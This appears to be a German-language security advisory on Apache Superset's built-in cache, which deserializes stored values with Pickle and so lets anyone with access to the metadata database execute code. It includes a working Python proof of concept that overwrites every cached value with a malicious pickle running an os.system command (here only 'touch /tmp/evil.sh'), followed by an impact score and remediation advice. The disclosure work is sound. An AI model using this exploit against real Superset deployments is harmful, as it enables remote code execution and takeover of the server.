
Ausnutzung des Standard-Caches von Superset mittels Pickle
[ Autor ] Dinis Cruz
[ Projekt ] Superset
Apache Superset bietet verschiedene Caching-Optionen, die alle auf Flask-Caching basieren. Es wird ein integrierter Cache bereitgestellt, der Werte zur späteren Abfrage serialisiert. Diese Serialisierung und Abfrage erfolgt mit Pickle, was die Deserialisierung von Python-Objekten und damit die Ausführung von Code ermöglicht.
Der integrierte Cache schreibt Informationen in die Metadaten-Datenbank, was bedeutet, dass ein Angreifer mit Zugriff auf diese Datenbank seine Berechtigungen erweitern und Fernzugriff auf die Superset bereitstellende Maschine/Container erhalten kann.
MetaStoreCache-Klasse, die die PickleKeyValueCodec-Klasse zur Serialisierung von Informationen verwendet.
Dieses Problem wurde reproduziert, indem zunächst eine saubere Superset-Installation erstellt wurde, die den integrierten Cache standardmäßig verwendet.
Mit dem bereits bekannten Wissen, dass Zugriff auf die Datenbank erforderlich ist, um dieses Problem auszunutzen. Wir können die Werte aller zwischengespeicherten Werte mit dem Pickle-Exploit aktualisieren. Später, wenn der Wert an den Benutzer zurückgegeben wird, deserialisiert das Pickle-Modul die Daten und führt unseren Code aus. Ein Python-PoC findet sich unten.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Dieses Skript aktualisiert alle in der Datenbank zwischengespeicherten Werte, und sobald die Daten an den Benutzer zurückgegeben werden, wird zu Demonstrationszwecken eine evil.sh-Datei im Verzeichnis /tmp erstellt.
Alle Benutzer könnten betroffen sein.
Score: 9.1
Während die Behebung dem Superset-Team obliegt. Das große Problem liegt in der Verwendung von Pickle zur Datenserialisierung. Soweit ich aus dem Commit #23888 verstanden habe, wurde eine Umstellung vorgenommen, um die Pickle-Serialisierung aus anderen Komponenten zu entfernen, aber diese wurde beibehalten, weil "beliebige Binärtypen" behandelt werden müssen. Die sauberste Lösung wäre, auf einen anderen Serialisierungsmechanismus umzusteigen, jedoch könnte man einen eingeschränkten Unpickler implementieren, der keine sichere Lösung ist, aber möglicherweise weniger Implementierungsaufwand erfordert.
Zugriff auf die Metadaten-Datenbank, die von der Superset-Installation verwendet wird.
Kein spezielles Setup, nur einen Python-Interpreter, um die Nutzlast zu erzeugen. Das Einbringen der schädlichen Nutzlast in die Datenbank kann auf verschiedene Weise erfolgen.